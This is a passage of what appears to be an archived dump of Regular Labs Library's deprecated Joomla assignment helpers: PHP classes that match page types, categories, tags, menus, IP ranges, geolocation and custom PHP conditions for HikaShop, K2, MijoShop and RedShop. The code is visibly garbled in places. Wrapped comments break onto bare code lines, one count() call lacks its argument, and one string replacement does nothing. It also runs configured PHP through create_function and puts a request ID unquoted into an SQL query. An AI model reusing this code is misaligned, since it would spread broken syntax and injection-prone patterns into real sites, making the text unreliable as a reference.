* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsForm2Content extends RLAssignment
{
public function passProjects()
{
if ($this->request->option != 'com_content' &&
$this->request->view == 'article')
{
return $this->pass(false);
}
$query = $this->db->getQuery(true)
->select('c.projectid')
->from('#__f2c_form AS c')
->where('c.reference_id = ' . (int)
$this->request->id);
$this->db->setQuery($query);
$type = $this->db->loadResult();
$types = $this->makeArray($type);
return $this->passSimple($types);
}
}
helpers/assignments/geo.php000064400000005162151165347260012042
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Log\Log as JLog;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsGeo extends RLAssignment
{
var $geo = null;
/**
* passContinents
*/
public function passContinents()
{
if ( ! $this->getGeo() || empty($this->geo->continentCode))
{
return $this->pass(false);
}
return $this->passSimple([$this->geo->continent,
$this->geo->continentCode]);
}
/**
* passCountries
*/
public function passCountries()
{
$this->getGeo();
if ( ! $this->getGeo() || empty($this->geo->countryCode))
{
return $this->pass(false);
}
return $this->passSimple([$this->geo->country,
$this->geo->countryCode]);
}
/**
* passRegions
*/
public function passRegions()
{
if ( ! $this->getGeo() || empty($this->geo->countryCode) ||
empty($this->geo->regionCodes))
{
return $this->pass(false);
}
$regions = $this->geo->regionCodes;
array_walk($regions, function (&$value) {
$value = $this->geo->countryCode . '-' . $value;
});
return $this->passSimple($regions);
}
/**
* passPostalcodes
*/
public function passPostalcodes()
{
if ( ! $this->getGeo() || empty($this->geo->postalCode))
{
return $this->pass(false);
}
// replace dashes with dots: 730-0011 => 730.0011
$postalcode = str_replace('-', '.',
$this->geo->postalCode);
return $this->passInRange($postalcode);
}
public function getGeo($ip = '')
{
if ($this->geo !== null)
{
return $this->geo;
}
$geo = $this->getGeoObject($ip);
if (empty($geo))
{
return false;
}
$this->geo = $geo->get();
if (JFactory::getApplication()->get('debug'))
{
JLog::addLogger(['text_file' =>
'regularlabs_geoip.log.php'], JLog::ALL,
['regularlabs_geoip']);
JLog::add(json_encode($this->geo), JLog::DEBUG,
'regularlabs_geoip');
}
return $this->geo;
}
private function getGeoObject($ip)
{
if ( ! file_exists(JPATH_LIBRARIES . '/geoip/geoip.php'))
{
return false;
}
require_once JPATH_LIBRARIES . '/geoip/geoip.php';
if ( ! class_exists('RegularLabs_GeoIp'))
{
return new GeoIp($ip);
}
return new RegularLabs_GeoIp($ip);
}
}
helpers/assignments/hikashop.php000064400000005775151165347260013110
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsHikaShop extends RLAssignment
{
public function passPageTypes()
{
if ($this->request->option != 'com_hikashop')
{
return $this->pass(false);
}
$type = $this->request->view;
if (
($type == 'product' &&
in_array($this->request->layout, ['contact',
'show']))
|| ($type == 'user' &&
in_array($this->request->layout, ['cpanel']))
)
{
$type .= '_' . $this->request->layout;
}
return $this->passSimple($type);
}
public function passCategories()
{
if ($this->request->option != 'com_hikashop')
{
return $this->pass(false);
}
$pass = (
($this->params->inc_categories
&& ($this->request->view == 'category' ||
$this->request->layout == 'listing')
)
|| ($this->params->inc_items && $this->request->view
== 'product')
);
if ( ! $pass)
{
return $this->pass(false);
}
$cats = $this->getCategories();
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->pass(false);
}
else if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
public function passProducts()
{
if ( ! $this->request->id || $this->request->option !=
'com_hikashop' || $this->request->view !=
'product')
{
return $this->pass(false);
}
return $this->passSimple($this->request->id);
}
private function getCategories()
{
switch (true)
{
case (($this->request->view == 'category' ||
$this->request->layout == 'listing') &&
$this->request->id):
return [$this->request->id];
case ($this->request->view == 'category' ||
$this->request->layout == 'listing'):
include_once JPATH_ADMINISTRATOR .
'/components/com_hikashop/helpers/helper.php';
$menuClass = hikashop_get('class.menus');
$menuData = $menuClass->get($this->request->Itemid);
return
$this->makeArray($menuData->hikashop_params['selectparentlisting']);
case ($this->request->id):
$query = $this->db->getQuery(true)
->select('c.category_id')
->from('#__hikashop_product_category AS c')
->where('c.product_id = ' . (int)
$this->request->id);
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
return $this->makeArray($cats);
default:
return [];
}
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'hikashop_category',
'category_parent_id', 'category_id');
}
}
helpers/assignments/homepage.php000064400000011606151165347260013055
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\LanguageHelper as JLanguageHelper;
use Joomla\CMS\Uri\Uri as JUri;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/text.php';
require_once dirname(__DIR__) . '/string.php';
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsHomePage extends RLAssignment
{
public function passHomePage()
{
$home =
JFactory::getApplication()->getMenu('site')->getDefault(JFactory::getLanguage()->getTag());
// return if option or other set values do not match the homepage menu
item values
if ($this->request->option)
{
// check if option is different to home menu
if ( ! $home || ! isset($home->query['option']) ||
$home->query['option'] != $this->request->option)
{
return $this->pass(false);
}
if ( ! $this->request->option)
{
// set the view/task/layout in the menu item to empty if not set
$home->query['view'] =
isset($home->query['view']) ?
$home->query['view'] : '';
$home->query['task'] =
isset($home->query['task']) ?
$home->query['task'] : '';
$home->query['layout'] =
isset($home->query['layout']) ?
$home->query['layout'] : '';
}
// check set values against home menu query items
foreach ($home->query as $k => $v)
{
if ((isset($this->request->{$k}) &&
$this->request->{$k} != $v)
|| (
( ! isset($this->request->{$k}) || in_array($v,
['virtuemart', 'mijoshop']))
&& JFactory::getApplication()->input->get($k) != $v
)
)
{
return $this->pass(false);
}
}
// check post values against home menu params
foreach ($home->params->toObject() as $k => $v)
{
if (($v && isset($_POST[$k]) && $_POST[$k] != $v)
|| ( ! $v && isset($_POST[$k]) && $_POST[$k])
)
{
return $this->pass(false);
}
}
}
$pass = $this->checkPass($home);
if ( ! $pass)
{
$pass = $this->checkPass($home, 1);
}
return $this->pass($pass);
}
private function checkPass(&$home, $addlang = 0)
{
$uri = JUri::getInstance();
if ($addlang)
{
$sef = $uri->getVar('lang');
if (empty($sef))
{
$langs = array_keys(JLanguageHelper::getLanguages('sef'));
$path = RLString::substr(
$uri->toString(['scheme', 'user',
'pass', 'host', 'port', 'path']),
RLString::strlen($uri->base())
);
$path = preg_replace('#^index\.php/?#', '',
$path);
$parts = explode('/', $path);
$part = reset($parts);
if (in_array($part, $langs))
{
$sef = $part;
}
}
if (empty($sef))
{
return false;
}
}
$query = $uri->toString(['query']);
if (strpos($query, 'option=') === false &&
strpos($query, 'Itemid=') === false)
{
$url = $uri->toString(['host', 'path']);
}
else
{
$url = $uri->toString(['host', 'path',
'query']);
}
// remove the www.
$url = preg_replace('#^www\.#', '', $url);
// replace ampersand chars
$url = str_replace('&', '&', $url);
// remove any language vars
$url =
preg_replace('#((\?)lang=[a-z-_]*(&|$)|&lang=[a-z-_]*)#',
'\2', $url);
// remove trailing nonsense
$url = trim(preg_replace('#/?\??&?$#', '',
$url));
// remove the index.php/
$url = preg_replace('#/index\.php(/|$)#', '/', $url);
// remove trailing /
$url = trim(preg_replace('#/$#', '', $url));
$root = JUri::root();
// remove the http(s)
$root = preg_replace('#^.*?://#', '', $root);
// remove the www.
$root = preg_replace('#^www\.#', '', $root);
//remove the port
$root = preg_replace('#:[0-9]+#', '', $root);
// so also passes on urls with trailing /, ?, &, /?, etc...
$root = preg_replace('#(Itemid=[0-9]*).*^#', '\1',
$root);
// remove trailing /
$root = trim(preg_replace('#/$#', '', $root));
if ($addlang)
{
$root .= '/' . $sef;
}
/* Pass urls:
* [root]
*/
$regex = '#^' . $root . '$#i';
if (preg_match($regex, $url))
{
return true;
}
/* Pass urls:
* [root]?Itemid=[menu-id]
* [root]/?Itemid=[menu-id]
* [root]/index.php?Itemid=[menu-id]
* [root]/[menu-alias]
* [root]/[menu-alias]?Itemid=[menu-id]
* [root]/index.php?[menu-alias]
* [root]/index.php?[menu-alias]?Itemid=[menu-id]
* [root]/[menu-link]
* [root]/[menu-link]&Itemid=[menu-id]
*/
$regex = '#^' . $root
. '(/('
. 'index\.php'
. '|'
. '(index\.php\?)?' . RLText::pregQuote($home->alias)
. '|'
. RLText::pregQuote($home->link)
. ')?)?'
. '(/?[\?&]Itemid=' . (int) $home->id . ')?'
. '$#i';
return preg_match($regex, $url);
}
}
helpers/assignments/ips.php000064400000005742151165347270012070
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsIPs extends RLAssignment
{
public function passIPs()
{
if (is_array($this->selection))
{
$this->selection = implode(',', $this->selection);
}
$this->selection = explode(',', str_replace([' ',
"\r", "\n"], ['', '',
','], $this->selection));
$pass = $this->checkIPList();
return $this->pass($pass);
}
private function checkIPList()
{
foreach ($this->selection as $range)
{
// Check next range if this one doesn't match
if ( ! $this->checkIP($range))
{
continue;
}
// Match found, so return true!
return true;
}
// No matches found, so return false
return false;
}
private function checkIP($range)
{
if (empty($range))
{
return false;
}
if (strpos($range, '-') !== false)
{
// Selection is an IP range
return $this->checkIPRange($range);
}
// Selection is a single IP (part)
return $this->checkIPPart($range);
}
private function checkIPRange($range)
{
$ip = $_SERVER['REMOTE_ADDR'];
// Return if no IP address can be found (shouldn't happen, but who
knows)
if (empty($ip))
{
return false;
}
// check if IP is between or equal to the from and to IP range
list($min, $max) = explode('-', trim($range), 2);
// Return false if IP is smaller than the range start
if ($ip < trim($min))
{
return false;
}
$max = $this->fillMaxRange($max, $min);
// Return false if IP is larger than the range end
if ($ip > trim($max))
{
return false;
}
return true;
}
/* Fill the max range by prefixing it with the missing parts from the min
range
* So 101.102.103.104-201.202 becomes:
* max: 101.102.201.202
*/
private function fillMaxRange($max, $min)
{
$max_parts = explode('.', $max);
if (count() == 4)
{
return $max;
}
$min_parts = explode('.', $min);
$prefix = array_slice($min_parts, 0, count($min_parts) -
count($max_parts));
return implode('.', $prefix) . '.' .
implode('.', $max_parts);
}
private function checkIPPart($range)
{
$ip = $_SERVER['REMOTE_ADDR'];
// Return if no IP address can be found (shouldn't happen, but who
knows)
if (empty($ip))
{
return false;
}
$ip_parts = explode('.', $ip);
$range_parts = explode('.', trim($range));
// Trim the IP to the part length of the range
$ip = implode('.', array_slice($ip_parts, 0,
count($range_parts)));
// Return false if ip does not match the range
if ($range != $ip)
{
return false;
}
return true;
}
}
helpers/assignments/k2.php000064400000010676151165347270011613
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
// If controller.php exists, assume this is K2 v3
defined('RL_K2_VERSION') or define('RL_K2_VERSION',
file_exists(JPATH_ADMINISTRATOR .
'/components/com_k2/controller.php') ? 3 : 2);
class RLAssignmentsK2 extends RLAssignment
{
public function passPageTypes()
{
return $this->passByPageTypes('com_k2', $this->selection,
$this->assignment, false, true);
}
public function passCategories()
{
if ($this->request->option != 'com_k2')
{
return $this->pass(false);
}
$pass = (
($this->params->inc_categories
&& (($this->request->view == 'itemlist'
&& $this->request->task == 'category')
|| $this->request->view == 'latest'
)
)
|| ($this->params->inc_items && $this->request->view
== 'item')
);
if ( ! $pass)
{
return $this->pass(false);
}
$cats = $this->makeArray($this->getCategories());
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->pass(false);
}
else if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCategories()
{
switch ($this->request->view)
{
case 'item' :
return $this->getCategoryIDFromItem();
break;
case 'itemlist' :
return $this->getCategoryID();
break;
default:
return '';
}
}
private function getCategoryID()
{
return $this->request->id ?:
JFactory::getApplication()->getUserStateFromRequest('com_k2itemsfilter_category',
'catid', 0, 'int');
}
private function getCategoryIDFromItem()
{
if ($this->article && isset($this->article->catid))
{
return $this->article->catid;
}
$query = $this->db->getQuery(true)
->select('i.catid')
->from('#__k2_items AS i')
->where('i.id = ' . (int) $this->request->id);
$this->db->setQuery($query);
return $this->db->loadResult();
}
public function passTags()
{
if ($this->request->option != 'com_k2')
{
return $this->pass(false);
}
$tag =
trim(JFactory::getApplication()->input->getString('tag',
''));
$pass = (
($this->params->inc_tags && $tag != '')
|| ($this->params->inc_items && $this->request->view
== 'item')
);
if ( ! $pass)
{
return $this->pass(false);
}
if ($this->params->inc_tags && $tag != '')
{
$tags =
[trim(JFactory::getApplication()->input->getString('tag',
''))];
return $this->passSimple($tags, true);
}
$query = $this->db->getQuery(true)
->select('t.name')
->from('#__k2_tags_xref AS x')
->join('LEFT', '#__k2_tags AS t ON t.id =
x.tagID')
->where('x.itemID = ' . (int) $this->request->id)
->where('t.published = 1');
$this->db->setQuery($query);
$tags = $this->db->loadColumn();
return $this->passSimple($tags, true);
}
public function passItems()
{
if ( ! $this->request->id || $this->request->option !=
'com_k2' || $this->request->view != 'item')
{
return $this->pass(false);
}
$pass = false;
// Pass Article Id
if ( ! $this->passItemByType($pass, 'ContentIds'))
{
return $this->pass(false);
}
// Pass Content Keywords
if ( ! $this->passItemByType($pass, 'ContentKeywords'))
{
return $this->pass(false);
}
// Pass Meta Keywords
if ( ! $this->passItemByType($pass, 'MetaKeywords'))
{
return $this->pass(false);
}
// Pass Authors
if ( ! $this->passItemByType($pass, 'Authors'))
{
return $this->pass(false);
}
return $this->pass($pass);
}
public function getItem($fields = [])
{
$query = $this->db->getQuery(true)
->select($fields)
->from('#__k2_items')
->where('id = ' . (int) $this->request->id);
$this->db->setQuery($query);
return $this->db->loadObject();
}
private function getCatParentIds($id = 0)
{
$parent_field = RL_K2_VERSION == 3 ? 'parent_id' :
'parent';
return $this->getParentIds($id, 'k2_categories',
$parent_field);
}
}
helpers/assignments/languages.php000064400000001371151165347270013235
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsLanguages extends RLAssignment
{
public function passLanguages()
{
return $this->passSimple(JFactory::getLanguage()->getTag(), true);
}
}
helpers/assignments/menu.php000064400000004547151165347270012243
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsMenu extends RLAssignment
{
public function passMenu()
{
// return if no Itemid or selection is set
if ( ! $this->request->Itemid || empty($this->selection))
{
return $this->pass($this->params->inc_noitemid);
}
$menutype = 'type.' . self::getMenuType();
// return true if menu type is in selection
if (in_array($menutype, $this->selection))
{
return $this->pass(true);
}
// return true if menu is in selection
if (in_array($this->request->Itemid, $this->selection))
{
return $this->pass(($this->params->inc_children != 2));
}
if ( ! $this->params->inc_children)
{
return $this->pass(false);
}
$parent_ids = $this->getMenuParentIds($this->request->Itemid);
$parent_ids = array_diff($parent_ids, [1]);
foreach ($parent_ids as $id)
{
if ( ! in_array($id, $this->selection))
{
continue;
}
return $this->pass(true);
}
return $this->pass(false);
}
private function getMenuParentIds($id = 0)
{
return $this->getParentIds($id, 'menu');
}
private function getMenuType()
{
if (isset($this->request->menutype))
{
return $this->request->menutype;
}
if (empty($this->request->Itemid))
{
$this->request->menutype = '';
return $this->request->menutype;
}
if (JFactory::getApplication()->isClient('site'))
{
$menu = JFactory::getApplication()->getMenu()->getItem((int)
$this->request->Itemid);
$this->request->menutype = isset($menu->menutype) ?
$menu->menutype : '';
return $this->request->menutype;
}
$query = $this->db->getQuery(true)
->select('m.menutype')
->from('#__menu AS m')
->where('m.id = ' . (int) $this->request->Itemid);
$this->db->setQuery($query);
$this->request->menutype = $this->db->loadResult();
return $this->request->menutype;
}
}
helpers/assignments/mijoshop.php000064400000005770151165347270013126
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsMijoShop extends RLAssignment
{
public function init()
{
$input = JFactory::getApplication()->input;
$category_id = $input->getCmd('path', 0);
if (strpos($category_id, '_'))
{
$category_id = end(explode('_', $category_id));
}
$this->request->item_id =
$input->getInt('product_id', 0);
$this->request->category_id = $category_id;
$this->request->id = ($this->request->item_id) ?
$this->request->item_id : $this->request->category_id;
$view = $input->getCmd('view', '');
if (empty($view))
{
$mijoshop = JPATH_ROOT .
'/components/com_mijoshop/mijoshop/mijoshop.php';
if ( ! file_exists($mijoshop))
{
return;
}
require_once($mijoshop);
$route = $input->getString('route', '');
$view = MijoShop::get('router')->getView($route);
}
$this->request->view = $view;
}
public function passPageTypes()
{
return $this->passByPageTypes('com_mijoshop',
$this->selection, $this->assignment, true);
}
public function passCategories()
{
if ($this->request->option != 'com_mijoshop')
{
return $this->pass(false);
}
$pass = (
($this->params->inc_categories
&& ($this->request->view == 'category')
)
|| ($this->params->inc_items && $this->request->view
== 'product')
);
if ( ! $pass)
{
return $this->pass(false);
}
$cats = [];
if ($this->request->category_id)
{
$cats = $this->request->category_id;
}
else if ($this->request->item_id)
{
$query = $this->db->getQuery(true)
->select('c.category_id')
->from('#__mijoshop_product_to_category AS c')
->where('c.product_id = ' . (int)
$this->request->id);
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
}
$cats = $this->makeArray($cats);
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->pass(false);
}
else if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
public function passProducts()
{
if ( ! $this->request->id || $this->request->option !=
'com_mijoshop' || $this->request->view !=
'product')
{
return $this->pass(false);
}
return $this->passSimple($this->request->id);
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'mijoshop_category',
'parent_id', 'category_id');
}
}
helpers/assignments/php.php000064400000005445151165347270012064
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\MVC\Model\BaseDatabaseModel as JModel;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsPHP extends RLAssignment
{
public function passPHP()
{
$article = $this->article;
if ( ! is_array($this->selection))
{
$this->selection = [$this->selection];
}
$pass = false;
foreach ($this->selection as $php)
{
// replace \n with newline and other fix stuff
$php = str_replace('\|', '|', $php);
$php = preg_replace('#(?<!\\\)\\\n#', "\n",
$php);
$php = trim(str_replace('[:REGEX_ENTER:]', '\n',
$php));
if ($php == '')
{
$pass = true;
break;
}
if ( ! $article && strpos($php, '$article') !== false)
{
$article = null;
if ($this->request->option == 'com_content' &&
$this->request->view == 'article')
{
$article = $this->getArticleById($this->request->id);
}
}
if ( ! isset($Itemid))
{
$Itemid =
JFactory::getApplication()->input->getInt('Itemid', 0);
}
if ( ! isset($mainframe))
{
$mainframe = JFactory::getApplication();
}
if ( ! isset($app))
{
$app = JFactory::getApplication();
}
if ( ! isset($document))
{
$document = JFactory::getDocument();
}
if ( ! isset($doc))
{
$doc = JFactory::getDocument();
}
if ( ! isset($database))
{
$database = JFactory::getDbo();
}
if ( ! isset($db))
{
$db = JFactory::getDbo();
}
if ( ! isset($user))
{
$user = JFactory::getUser();
}
$php .= ';return true;';
$temp_PHP_func = create_function('&$article, &$Itemid,
&$mainframe, &$app, &$document, &$doc, &$database,
&$db, &$user', $php);
// evaluate the script
ob_start();
$pass = (bool) $temp_PHP_func($article, $Itemid, $mainframe, $app,
$document, $doc, $database, $db, $user);
unset($temp_PHP_func);
ob_end_clean();
if ($pass)
{
break;
}
}
return $this->pass($pass);
}
private function getArticleById($id = 0)
{
if ( ! $id)
{
return null;
}
if ( ! class_exists('ContentModelArticle'))
{
require_once JPATH_SITE .
'/components/com_content/models/article.php';
}
$model = JModel::getInstance('article',
'contentModel');
if ( ! method_exists($model, 'getItem'))
{
return null;
}
return $model->getItem($this->request->id);
}
}
helpers/assignments/redshop.php000064400000005046151165347300012730
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsRedShop extends RLAssignment
{
public function init()
{
$this->request->item_id =
JFactory::getApplication()->input->getInt('pid', 0);
$this->request->category_id =
JFactory::getApplication()->input->getInt('cid', 0);
$this->request->id = ($this->request->item_id) ?
$this->request->item_id : $this->request->category_id;
}
public function passPageTypes()
{
return $this->passByPageTypes('com_redshop',
$this->selection, $this->assignment, true);
}
public function passCategories()
{
if ($this->request->option != 'com_redshop')
{
return $this->pass(false);
}
$pass = (
($this->params->inc_categories
&& ($this->request->view == 'category')
)
|| ($this->params->inc_items && $this->request->view
== 'product')
);
if ( ! $pass)
{
return $this->pass(false);
}
$cats = [];
if ($this->request->category_id)
{
$cats = $this->request->category_id;
}
else if ($this->request->item_id)
{
$query = $this->db->getQuery(true)
->select('x.category_id')
->from('#__redshop_product_category_xref AS x')
->where('x.product_id = ' . (int)
$this->request->item_id);
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
}
$cats = $this->makeArray($cats);
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->pass(false);
}
else if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
public function passProducts()
{
if ( ! $this->request->id || $this->request->option !=
'com_redshop' || $this->request->view !=
'product')
{
return $this->pass(false);
}
return $this->passSimple($this->request->id);
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'redshop_category_xref',
'category_parent_id', 'category_child_id');
}
}
helpers/assignments/tags.php000064400000005173151165347300012223
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsTags extends RLAssignment
{
public function passTags()
{
if (in_array($this->request->option, ['com_content',
'com_flexicontent']))
{
return $this->passTagsContent();
}
if ($this->request->option != 'com_tags'
|| $this->request->view != 'tag'
|| ! $this->request->id
)
{
return $this->pass(false);
}
return $this->passTag($this->request->id);
}
private function passTagsContent()
{
$is_item = in_array($this->request->view, ['',
'article', 'item']);
$is_category = in_array($this->request->view,
['category']);
switch (true)
{
case ($is_item):
$prefix = 'com_content.article';
break;
case ($is_category):
$prefix = 'com_content.category';
break;
default:
return $this->pass(false);
}
// Load the tags.
$query = $this->db->getQuery(true)
->select($this->db->quoteName('t.id'))
->select($this->db->quoteName('t.title'))
->from('#__tags AS t')
->join(
'INNER', '#__contentitem_tag_map AS m'
. ' ON m.tag_id = t.id'
. ' AND m.type_alias = ' . $this->db->quote($prefix)
. ' AND m.content_item_id IN ( ' . $this->request->id .
')'
);
$this->db->setQuery($query);
$tags = $this->db->loadObjectList();
if (empty($tags))
{
return $this->pass(false);
}
foreach ($tags as $tag)
{
if ( ! $this->passTag($tag->id) && !
$this->passTag($tag->title))
{
continue;
}
return $this->pass(true);
}
return $this->pass(false);
}
private function passTag($tag)
{
$pass = in_array($tag, $this->selection);
if ($pass)
{
// If passed, return false if assigned to only children
// Else return true
return ($this->params->inc_children != 2);
}
if ( ! $this->params->inc_children)
{
return false;
}
// Return true if a parent id is present in the selection
return array_intersect(
$this->getTagsParentIds($tag),
$this->selection
);
}
private function getTagsParentIds($id = 0)
{
$parentids = $this->getParentIds($id, 'tags');
// Remove the root tag
$parentids = array_diff($parentids, [1]);
return $parentids;
}
}
helpers/assignments/templates.php000064400000003773151165347300013267
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsTemplates extends RLAssignment
{
public function passTemplates()
{
$template = $this->getTemplate();
// Put template name and name + style id into array
// The '::' separator was used in pre Joomla 3.3
$template = [$template->template, $template->template .
'--' . $template->id, $template->template . '::'
. $template->id];
return $this->passSimple($template, true);
}
public function getTemplate()
{
$template = JFactory::getApplication()->getTemplate(true);
if (isset($template->id))
{
return $template;
}
$params = json_encode($template->params);
// Find template style id based on params, as the template style id is
not always stored in the getTemplate
$query = $this->db->getQuery(true)
->select('id')
->from('#__template_styles as s')
->where('s.client_id = 0')
->where('s.template = ' .
$this->db->quote($template->template))
